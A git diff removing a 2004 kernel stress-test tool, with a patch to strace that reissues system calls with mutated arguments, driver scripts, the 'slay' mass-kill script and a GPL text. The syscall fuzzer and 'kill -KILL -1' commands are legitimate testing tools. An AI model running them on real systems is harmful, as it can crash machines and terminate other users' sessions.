-	sztord = space;		/* amount of space left in buffer */
-
-	/*
-	 *  Loop until read doesn't read anything
-	 *  If last line does not end in newline, it is not printed
-	 */
-	while (loopcntl) {
-		/*
-		 *  read in file up to space size
-		 *  only works if used as filter.
-		 *  The code will randomize one reads worth at a time.
-		 *  If typing in lines, read will read only one line - no randomizing.
-		 */
-
-		chr = buffer;
-		if ((rdsz = fread((void *)rdbuff, sztord, 1, infile)) == 0) {
-			fprintf(stderr,
-				"input file is empty, done randomizing\n");
-			loopcntl = 0;
-			return 0;
-		}
-
-		stopaddr = ((long)buffer + rdsz);
-
-		loffset = (long)buffer;
-
-		while (!newbuffer) {
-
-			while ((long)chr < stopaddr && *chr != '\n')
-				chr++;
-
-			chr++;
-
-			if ((long)chr >= stopaddr) {
-
-				fprintf(stderr, "end of read in buffer\n");
-
-				/*
-				 * print out lines based on offset.
-				 */
-				for (cnt = 0; cnt < numlines; cnt++) {
-
-					if (offsets[cnt].used) {
-						ptr =
-						    (char *)offsets[cnt].offset;
-						/*
-						 * copy buffer characters into line for printing
-						 */
-						lptr = line;
-						while (*ptr != '\n')
-							*lptr++ = *ptr++;
-
-						printf("%s\n", line);
-					}
-				}
-
-				/*
-				 * move start of partically read line to beginning of buffer
-				 * and adjust rdbuff to end of partically read line
-				 */
-				memcpy((void *)loffset, buffer,
-				       (stopaddr - loffset));
-				rdbuff = buffer + (stopaddr - loffset);
-				sztord = space - (stopaddr - loffset);
-
-				newbuffer++;
-			}
-
-			if (rnd_insert(offsets, loffset, numlines) < 0) {
-				fprintf(stderr,
-					"%s:%d rnd_insert() returned -1 (fatal error)!\n",
-					__FILE__, __LINE__);
-				abort();
-			}
-
-			loffset = (long)chr;
-		}
-	}
-
-	return 0;
-
-}
diff --git a/tools/strace_test/GPL_V2 b/tools/strace_test/GPL_V2
deleted file mode 100644
index 5e76076..0000000
--- a/tools/strace_test/GPL_V2
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                          51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) 19yy  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) 19yy name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/tools/strace_test/README b/tools/strace_test/README
deleted file mode 100644
index 88b4d0d..0000000
--- a/tools/strace_test/README
+++ /dev/null
@@ -1,19 +0,0 @@
-Strace Test
-
-Introduction:
-Strace Test is designed to test the kernel by calling syscalls improperly.
-It uses ltp as a base to generate realistic syscalls and then it randomly
-calls improper variations of those system calls.
-
-The tests are started by root but they are run with user permisions.  The root
-user needs to restart the tests around every 10 seconds.
-
-Usage:
-./go_go.sh [user][max_tests][test_percent]
-        user => username to the scripts under
-   max_tests => maximun concurrent tests to run
-test_percent => percent of the syscalls to test
-
-Copying:
-Strace Test is distributed under the GPL
-Strace, and LTP are GPL as well.
diff --git a/tools/strace_test/go_go.sh b/tools/strace_test/go_go.sh
deleted file mode 100755
index 69d1998..0000000
--- a/tools/strace_test/go_go.sh
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/bin/bash
-
-# Copyright (C) 2004 Dan Carpenter
-# This software is released under the terms of the GPL
-
-progname=$0
-dir=`dirname $progname`
-[ $dir == "." ] && dir=`pwd`
-
-if [[ "$1" == "-h" || "$1" == "-help" ]] ; then
-    echo "$progname [user][max_tests][test_percent]"
-    echo "        user => username to the scripts under"
-    echo "   max_tests => maximun concurrent tests to run"
-    echo "test_percent => percent of the syscalls to test"
-    exit 0
-fi
-
-if [[ $1 == "" ]] ; then
-    echo "Enter a user name to run the test under"
-    read user
-else
-    user="$1"
-fi
-
-[[ "$2" == "" ]] || max_tests="$2"
-[[ "$3" == "" ]] || test_percent="$3"
-
-if [ ! -e test_list.txt ] ; then
-    echo "Enter the path to the ltp scripts"
-    read ltp_path
-    echo "Creating test_list.txt"
-    find $ltp_path -type f -name \*[0-9] > test_list.txt
-    tmp=`cat test_list.txt | wc -l`
-    echo "$tmp test scripts found"
-fi
-
-trap "echo \"CTRL-C Pressed.  Exiting\"
-./slay $user
-exit 0
-" 2
-
-while true ; do
-	chmod +x $dir
-	su $user -c ./test.sh
-	sleep 8
-	./slay $user
-done
-
diff --git a/tools/strace_test/run.sh b/tools/strace_test/run.sh
deleted file mode 100755
index ed0bfb7..0000000
--- a/tools/strace_test/run.sh
+++ /dev/null
@@ -1,14 +0,0 @@
-#!/bin/bash
-
-# Copyright (C) 2004 Dan Carpenter
-# This software is released under the terms of the GPL
-
-test_percent=20
-[[ $1 == "" ]] || test_percent=$1
-
-while true ; do
-	RAND=$((RANDOM%$(cat test_list.txt | wc -l)))
-	test=`cat test_list.txt | head -n $(($RAND + 1)) | tail -n 1`
-	[ -f $test ] && ./strace -P $test_percent $test
-	#[ -f $test ] && $test
-done
diff --git a/tools/strace_test/slay b/tools/strace_test/slay
deleted file mode 100755
index a68e8c9..0000000
--- a/tools/strace_test/slay
+++ /dev/null
@@ -1,158 +0,0 @@
-#!/bin/sh
-#
-# slay 2.0 - kill all processes belonging to the specified user(s).
-# originally by Chris Ausbrooks <fish@bucket.ualr.edu>
-# based on kall (a script of unknown origin)
-# Heavily rewritten by Pawel Wiecek <coven@debian.org> for Debian
-# This is a free software distributed according to terms of GNU GPL
-# (see /usr/share/common-licenses/GPL)
-
-# Revision history:
-# 0.99	First attempt.
-# 1.0	Added Butthead.
-# 1.1	Added retribution.
-# 1.2	Added slayee notification.
-# 2.0   Completely rewritten
-# 2.1	Fix an *ugly* bug that caused slayer to be slain...
-
-USER=`whoami`
-SIGNAL=`echo $1 | grep '^\-.*'`
-ME=`basename $0`
-COOL='0'
-
-# this piece of nested ifs is added for Debian package only
-if [ -f /etc/slay_mode ]
-then
-  if grep -q mean /etc/slay_mode
-  then
-    MODE='mean'
-  fi
-  if grep -q nice /etc/slay_mode
-  then
-    MODE='nice'
-  fi
-  if [ -z $SLAY_BUTTHEAD ]
-  then
-    if grep -q butthead /etc/slay_mode
-    then
-      SLAY_BUTTHEAD='on'
-    fi
-    if grep -q normal /etc/slay_mode
-    then
-      SLAY_BUTTHEAD='off'
-    fi
-  fi
-else
-  MODE='mean'
-  if [ -z $SLAY_BUTTHEAD ]
-  then
-    SLAY_BUTTHEAD='off'
-  fi
-fi
-
-# Command line handling.
-if [ "$SIGNAL" != "" ]
-then
-  shift
-else
-  SIGNAL="-KILL"
-fi
-
-if [ "$SIGNAL" != "-clean" ]
-then
-  SIGSHOW="$SIGNAL"
-else
-  SIGSHOW="-TERM + -KILL"
-fi
-
-# Help for loosers.
-if [ "$1" = "" -o "$1" = "--help" ]
-then
-  echo "usage: $ME [-signal] name [name...]"
-  if [ "$SLAY_BUTTHEAD" = "on" ]
-  then
-    echo "       Like, kills people and stuff."
-    echo "       With -clean kicks ass forst and then does real pain."
-  else
-    echo "       Kills all processes belonging to any of the given names."
-    echo "       Use -clean as a signal name to kill with TERM first and then with KILL."
-  fi
-  exit -1
-fi
-
-# Misuse trap.
-if [ "$USER" != "$1" ]
-then
-  if [ "$USER" != "root" ]
-  then
-    if [ "$MODE" = "mean" ]
-    then
-      $0 -KILL $USER
-    else
-      if [ "$SLAY_BUTTHEAD" = "on" ]
-      then
-        echo "${ME}: Cut it out."
-      else
-        echo "${ME}: Only root gets to do that."
-      fi
-    fi
-    exit 2
-  fi
-fi
-
-# Main body.
-while [ "$1" != "" ]
-do
-  if [ "$1" = "$USER" ]
-  then
-    if [ "$SLAY_BUTTHEAD" = "on" ]
-    then
-      echo "${ME}: Beavis, don't make me have to smack you."
-    else
-      echo "${ME}: Illegal operation."
-    fi
-  fi
-  COOL="1"
-  if [ "$SLAY_BUTTHEAD" = "on" ]
-  then
-    echo "${ME}: $SIGSHOW is kicking $1's butt!"
-    echo -e "\\n\\n\\nI'm kicking your butt.\\n\\n\\n" | write $1 2>/dev/null
-  else
-    echo "${ME}: Sending $SIGSHOW signal to $1's process(es)..."
-    echo -e "\\n\\n\\nYour current session has been terminated.\\n\\n\\n" | \
-    	write $1 2>/dev/null
-  fi
-  if [ "$SIGNAL" = "-clean" ]
-  then
-    su -m $1 -c "kill -TERM -1 2>/dev/null"
-    sleep 10
-    su -m $1 -c "kill -KILL -1 2>/dev/null"
-  else
-    su -m $1 -c "kill $SIGNAL -1 2>/dev/null"
-  fi
-  shift
-done
-
-# Error message.
-if [ $COOL = "0" ]
-then
-  if [ "$SLAY_BUTTHEAD" = "on" ]
-  then
-    echo "${ME}: How old are you, Beavis?"
-  else
-    echo "${ME}: Nothing done."
-  fi
-  exit 1
-fi
-
-# Non-error message.
-if [ $COOL = "1" ]
-then
-  if [ "$SLAY_BUTTHEAD" = "on" ]
-  then
-    echo "${ME}: Whoa, I have the power supreme."
-  else
-    echo "${ME}: Done."
-  fi
-  exit 0
-fi
diff --git a/tools/strace_test/strace.patch b/tools/strace_test/strace.patch
deleted file mode 100644
index fbe8fd0..0000000
--- a/tools/strace_test/strace.patch
+++ /dev/null
@@ -1,272 +0,0 @@
-diff -urN strace-4.5.1/defs.h devel/defs.h
---- strace-4.5.1/defs.h	2003-11-13 18:54:03.000000000 -0800
-+++ devel/defs.h	2004-02-13 01:10:28.000000000 -0800
-@@ -456,6 +456,9 @@
- extern void printtv32 P((struct tcb*, long));
- extern void tprint_iov P((struct tcb *, int, long));
-
-+extern int test_percent;
-+extern void test_syscall P((struct tcb *));
-+
- #ifdef LINUX
- extern int internal_clone P((struct tcb *));
- #endif
-diff -urN strace-4.5.1/Makefile.am devel/Makefile.am
---- strace-4.5.1/Makefile.am	2003-03-30 16:59:18.000000000 -0800
-+++ devel/Makefile.am	2004-02-13 01:10:28.000000000 -0800
-@@ -15,7 +15,7 @@
- strace_SOURCES = strace.c syscall.c util.c desc.c file.c ipc.c \
- 		 io.c ioctl.c mem.c net.c process.c bjm.c \
- 		 resource.c signal.c sock.c system.c term.c time.c \
--		 proc.c stream.c
-+		 proc.c stream.c tester.c
- noinst_HEADERS = defs.h
-
- EXTRA_DIST = $(man_MANS) errnoent.sh signalent.sh syscallent.sh ioctlsort.c \
-diff -urN strace-4.5.1/Makefile.in devel/Makefile.in
---- strace-4.5.1/Makefile.in	2003-11-06 18:24:18.000000000 -0800
-+++ devel/Makefile.in	2004-02-13 01:10:28.000000000 -0800
-@@ -146,7 +146,7 @@
- strace_SOURCES = strace.c syscall.c util.c desc.c file.c ipc.c \
- 		 io.c ioctl.c mem.c net.c process.c bjm.c \
- 		 resource.c signal.c sock.c system.c term.c time.c \
--		 proc.c stream.c
-+		 proc.c stream.c tester.c
-
- noinst_HEADERS = defs.h
-
-@@ -210,7 +210,7 @@
- 	ioctl.$(OBJEXT) mem.$(OBJEXT) net.$(OBJEXT) process.$(OBJEXT) \
- 	bjm.$(OBJEXT) resource.$(OBJEXT) signal.$(OBJEXT) \
- 	sock.$(OBJEXT) system.$(OBJEXT) term.$(OBJEXT) time.$(OBJEXT) \
--	proc.$(OBJEXT) stream.$(OBJEXT)
-+	proc.$(OBJEXT) stream.$(OBJEXT) tester.$(OBJEXT)
- strace_OBJECTS = $(am_strace_OBJECTS)
- strace_LDADD = $(LDADD)
- strace_DEPENDENCIES =
-diff -urN strace-4.5.1/strace.c devel/strace.c
---- strace-4.5.1/strace.c	2003-11-11 13:24:23.000000000 -0800
-+++ devel/strace.c	2004-02-13 01:10:28.000000000 -0800
-@@ -205,7 +205,7 @@
- 	set_sortby(DEFAULT_SORTBY);
- 	set_personality(DEFAULT_PERSONALITY);
- 	while ((c = getopt(argc, argv,
--		"+cdfFhiqrtTvVxza:e:o:O:p:s:S:u:E:")) != EOF) {
-+		"+cdfFhiqrtTvVxza:e:o:O:p:s:S:u:E:P:")) != EOF) {
- 		switch (c) {
- 		case 'c':
- 			cflag++;
-@@ -298,6 +298,9 @@
- 				exit(1);
- 			}
- 			break;
-+		case 'P':
-+			test_percent = atoi(optarg);
-+			break;
- 		default:
- 			usage(stderr, 1);
- 			break;
-@@ -2219,6 +2222,8 @@
- va_dcl
- #endif
- {
-+  /* this just slows things down so it's commented out */
-+  /*
- 	va_list args;
-
- 	VA_START(args, fmt);
-@@ -2232,6 +2237,7 @@
- 	}
- 	va_end(args);
- 	return;
-+  */
- }
-
- void
-diff -urN strace-4.5.1/syscall.c devel/syscall.c
---- strace-4.5.1/syscall.c	2003-11-01 14:11:22.000000000 -0800
-+++ devel/syscall.c	2004-02-13 01:10:28.000000000 -0800
-@@ -2118,6 +2118,7 @@
- 			return 0;
- 		}
-
-+		test_syscall(tcp);
- 		if (tcp->flags & TCB_REPRINT) {
- 			printleader(tcp);
- 			tprintf("<... ");
-diff -urN strace-4.5.1/tester.c devel/tester.c
---- strace-4.5.1/tester.c	1969-12-31 16:00:00.000000000 -0800
-+++ devel/tester.c	2004-02-13 14:55:37.000000000 -0800
-@@ -0,0 +1,172 @@
-+#include <unistd.h>
-+#include <setjmp.h>
-+
-+#include "defs.h"
-+
-+int test_percent = 20;
-+
-+int
-+zero(arg)
-+int arg;
-+{
-+	return 0;
-+}
-+
-+int
-+one(arg)
-+int arg;
-+{
-+	return 1;
-+}
-+
-+int
-+minus_one(arg)
-+int arg;
-+{
-+	return -1;
-+}
-+
-+int
-+maxed(arg)
-+int arg;
-+{
-+	return 0xffffffff;
-+}
-+
-+int
-+dec_one(arg)
-+int arg;
-+{
-+	return arg - 1;
-+}
-+
-+int
-+inc_one(arg)
-+int arg;
-+{
-+	return arg + 1;
-+}
-+
-+int
-+xorred(arg)
-+int arg;
-+{
-+	return arg ^ 1;
-+}
-+
-+int
-+negative(arg)
-+int arg;
-+{
-+	return -arg;
-+}
-+
-+
-+void *magics[] ={
-+	zero,
-+	one,
-+	minus_one,
-+	maxed,
-+	dec_one,
-+	inc_one,
-+	xorred,
-+	negative
-+};
-+
-+static int test_counter;
-+static jmp_buf safe_state;
-+void
-+handle_segv(num)
-+int num;
-+{
-+	printf("seg fault...\n");
-+	test_counter++;
-+	/* longjmp here to avoid an enormous call stack */
-+	longjmp(safe_state, 0);
-+}
-+
-+void test_arg(tcp, narg)
-+struct tcb *tcp;
-+int narg;
-+{
-+	int (*f)(int);
-+	int val;
-+	int val_init = tcp->u_arg[narg];
-+	int rand_offset;
-+	int len_magics = sizeof(magics)/sizeof(void*);
-+
-+	rand_offset = random()%len_magics;
-+	test_counter = 0;
-+
-+	if (signal(SIGSEGV, handle_segv) == SIG_ERR)
-+		tprintf("\nError:  cannot ignore signal\n");
-+
-+	while (1){
-+		setjmp(safe_state);
-+		if (test_counter >= len_magics)
-+			break;
-+		f = magics[(test_counter + rand_offset) % len_magics];
-+		test_counter++;
-+		val = f(val_init);
-+
-+		syscall(tcp->scno,
-+			(narg == 0)? val: tcp->u_arg[0],
-+			(narg == 1)? val: tcp->u_arg[1],
-+			(narg == 2)? val: tcp->u_arg[2],
-+			(narg == 3)? val: tcp->u_arg[3],
-+			(narg == 4)? val: tcp->u_arg[4],
-+			(narg == 5)? val: tcp->u_arg[5]);
-+	}
-+	signal(SIGSEGV, SIG_DFL);
-+}
-+
-+void
-+test_syscall(tcp)
-+struct tcb *tcp;
-+{
-+	int i;
-+
-+	/* only test a random set of syscalls */
-+	if ((random()%100) >= test_percent){
-+		return;
-+	}
-+
-+	/* we end up fork bombing ourselves if we test the
-+	   forking code */
-+#define NR_SYSCALL_BASE 0
-+	switch (tcp->scno + NR_SYSCALL_BASE) {
-+#ifdef SYS_fork
-+	case SYS_fork:
-+#endif
-+#ifdef SYS_vfork
-+	case SYS_vfork:
-+#endif
-+#ifdef SYS_fork1
-+	case SYS_fork1:
-+#endif
-+#ifdef SYS_forkall
-+	case SYS_forkall:
-+#endif
-+#ifdef SYS_rfork1
-+	case SYS_rfork1:
-+#endif
-+#ifdef SYS_rforkall
-+	case SYS_rforkall:
-+#endif
-+#ifdef SYS_rfork
-+	case SYS_rfork:
-+#endif
-+#ifdef SYS_clone
-+	case SYS_clone:
-+#endif
-+#ifdef SYS_clone2
-+	case SYS_clone2:
-+#endif
-+		return;
-+	}
-+
-+	for (i = 0; i < tcp->u_nargs; i++){
-+		test_arg(tcp, i);
-+	}
-+}
-+
diff --git a/tools/strace_test/test.sh b/tools/strace_test/test.sh
deleted file mode 100755
index b4b74d5..0000000
--- a/tools/strace_test/test.sh
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/bin/bash
-
-# Copyright (C) 2004 Dan Carpenter
-# This software is released under the terms of the GPL
-
-max_tests=25
-test_percent=20
-
-[[ $1 == "" ]] || max_tests=$1
-[[ $2 == "" ]] || test_percent=$2
-
-./waker.sh &
-
-for i in `seq $max_tests` ; do
-	./run.sh $test_percent &
-done
-
diff --git a/tools/strace_test/waker.sh b/tools/strace_test/waker.sh
deleted file mode 100755
index 274604f..0000000
--- a/tools/strace_test/waker.sh
+++ /dev/null
@@ -1,39 +0,0 @@
-#!/bin/bash
-
-# Copyright (C) 2004 Dan Carpenter
-# This software is released under the terms of the GPL
-
-SLEEP_SECS=1
-SEGV_SECS=4
-
-if ps | grep -q tty ; then
-	delim='t'
-	tty="tty"
-else
-	delim='p'
-	tty="pts"
-fi
-
-secs=0
-while true ; do
-        # fixme (hack) assumes tests in test/ dir
-        # assumes ltp naming scheme with a number on the
-        # end of each test script
-	for i in `ps x | \
-                  grep test | \
-                  grep [0-9]$ | \
-                  cut -d $delim -f 1` ; do
-		if [ $secs -eq $SEGV_SECS ] ; then
-			kill -SEGV $i
-		else
-			kill -CONT $i
-		fi
-	done
-	if [ $secs -ge $SEGV_SECS ] ; then
-		secs=0
-	else
-		secs=$(($secs + 1))
-	fi
-
-	sleep $SLEEP_SECS
-done
